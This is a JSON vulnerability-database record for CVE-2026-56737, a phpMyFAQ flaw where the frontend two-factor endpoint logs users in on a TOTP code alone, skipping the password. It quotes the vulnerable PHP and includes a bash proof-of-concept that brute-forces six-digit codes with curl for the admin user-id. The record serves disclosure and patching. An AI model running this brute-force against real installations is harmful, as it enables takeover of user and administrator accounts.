{"schema":"threatline.record/2","record":{"id":"CVE-2026-56737","aliases":["GHSA-8gpw-xvpf-hvx5"],"summary":"phpMyFAQ's two-factor authentication login bypasses the password factor","details":"### Summary\nThe public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid\n6-digit TOTP token and a chosen `user-id`. It does **not** require — and is not bound to — a prior\nsuccessful password authentication. For any account that has 2FA enabled, an unauthenticated attacker\ncan authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit\ncode) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an\nauthentication bypass of the primary credential for all 2FA-protected accounts, including administrators.\n\n### Details\n`src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`:\n\n```php\n#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n    if ($this->currentUser->isLoggedIn()) {\n        return new RedirectResponse(url: './');\n    }\n\n    $token  = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);\n    $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);\n\n    if ($userId <= 0) { /* ... */ }\n\n    $this->currentUserService->getUserById($userId);          // loads attacker-chosen user\n\n    if (strlen((string) $token) === 6) {\n        $result = $this->twoFactor->validateToken($token, $userId);\n        if ($result) {\n            $this->currentUserService->twoFactorSuccess();    // full login, no password ever checked\n            return new RedirectResponse(url: './');\n        }\n    }\n    // ...\n}\n```\n\n`twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`):\n\n```php\npublic function twoFactorSuccess(): bool\n{\n    $this->setLoggedIn(true);\n    $this->updateSessionId(true);\n    $this->saveToSession();\n    $this->setSuccess(true);\n    return true;\n}\n```\n\nThere is **no server-side state** (such as a \"password already verified for this user\" flag) tying the\n`/check` step to the password step. Compare the admin flow, which does it correctly via a\n`2fa_pending_user_id` session value set only **after** the password is validated\n(`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) — proving the frontend\nomission is a regression, not an intended design.\n\n`validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret,\nso this is *not* a universal bypass of all accounts — it specifically defeats the **password factor of\nevery 2FA-enabled account**:\n\n```php\npublic function validateToken(string $token, int $userId): bool\n{\n    if (strlen($token) !== 6 || $userId <= 0) { return false; }\n    $this->currentUser->getUserById($userId);\n    $secret = $this->currentUser->getUserData('secret');\n    if (!is_string($secret) || $secret === '') { return false; }   // no 2FA -> false\n    return $this->twoFactorAuth->verifyCode($secret, $token);       // 6-digit TOTP only\n}\n```\n\nBecause `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default\n(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to\n*strengthen* the password, becomes the *only* barrier and is independently guessable.\n\n### PoC\nPre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows\nor enumerates the numeric `user-id` (1 = first/admin account in default installs).\n\n```bash\n# No password required. Submit user-id + a 6-digit TOTP guess to /check.\n# Iterate the token space; the session cookie returned on success is an authenticated session.\nfor code in $(seq -w 0 999999); do\n  curl -ks -c jar.txt -b jar.txt \\\n    -X POST \"https://target/check\" \\\n    --data-urlencode \"user-id=1\" \\\n    --data-urlencode \"token=$(printf '%06d' 10#$code)\" \\\n    -o /dev/null -w \"%{http_code} %{redirect_url}\\n\" \\\n  | grep -q './'   && echo \"[+] logged in with token $code\" && break\ndone\n# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).\n```\nIf the attacker already controls or has phished the victim's TOTP device, a single request authenticates\nwith no password at all.\n\n### Impact\nAuthentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password —\nthe primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout,\nthis enables full account takeover of users and administrators. Impacted: any deployment where users\nenable two-factor authentication.","categories":["Libraries & packages"],"product":"thorsten/phpmyfaq","vendor":"thorsten","ecosystem":"composer","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8gpw-xvpf-hvx5","source_modified_at":"2026-09-24T19:29:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"thorsten/phpmyfaq"},"range":">= 3.2.0, < 4.1.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8gpw-xvpf-hvx5","source_modified_at":"2026-09-24T19:29:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"phpmyfaq/phpmyfaq"},"range":">= 3.2.0, < 4.1.6"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-56737","source_modified_at":"2026-09-29T02:47:34.341Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"phpMyFAQ","vendor":"thorsten","versions":[{"version":">= 3.2.0, < 4.1.6","status":"affected"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8gpw-xvpf-hvx5","source_modified_at":"2026-09-24T19:45:04.940704589Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"4.1.6"}]}],"versions":["3.2.0","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8gpw-xvpf-hvx5","source_modified_at":"2026-09-24T19:45:04.940704589Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"phpmyfaq/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/phpmyfaq/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"4.1.6"}]}],"versions":["3.2.0","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8gpw-xvpf-hvx5","source_modified_at":"2026-09-24T19:29:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"thorsten/phpmyfaq"},"version":"4.1.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-8gpw-xvpf-hvx5","source_modified_at":"2026-09-24T19:29:30Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"composer","name":"phpmyfaq/phpmyfaq"},"version":"4.1.6"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8gpw-xvpf-hvx5","source_modified_at":"2026-09-24T19:45:04.940704589Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"version":"4.1.6"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-8gpw-xvpf-hvx5","source_modified_at":"2026-09-24T19:45:04.940704589Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"phpmyfaq/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/phpmyfaq/phpmyfaq"},"version":"4.1.6"}],"cvss":8.1,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00399,"percentile":0.32993,"score_date":"2026-10-23"},"published_at":"2026-09-24T14:59:35.695Z","modified_at":"2026-09-29T02:47:34.341Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-8gpw-xvpf-hvx5","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-24T19:29:30Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-56737","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-29T02:47:34.341Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-8gpw-xvpf-hvx5","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-24T19:45:04.940704589Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56737","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56737","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be","tags":["x_refsource_MISC"]},{"url":"https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-8gpw-xvpf-hvx5","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-09-29T02:47:07.965759Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-09-29T02:47:34.341Z","content_hash":"b911b154247b20858e6ca863bf97fbd78162f0f1e44e889ce645719b9037dfbc"}}
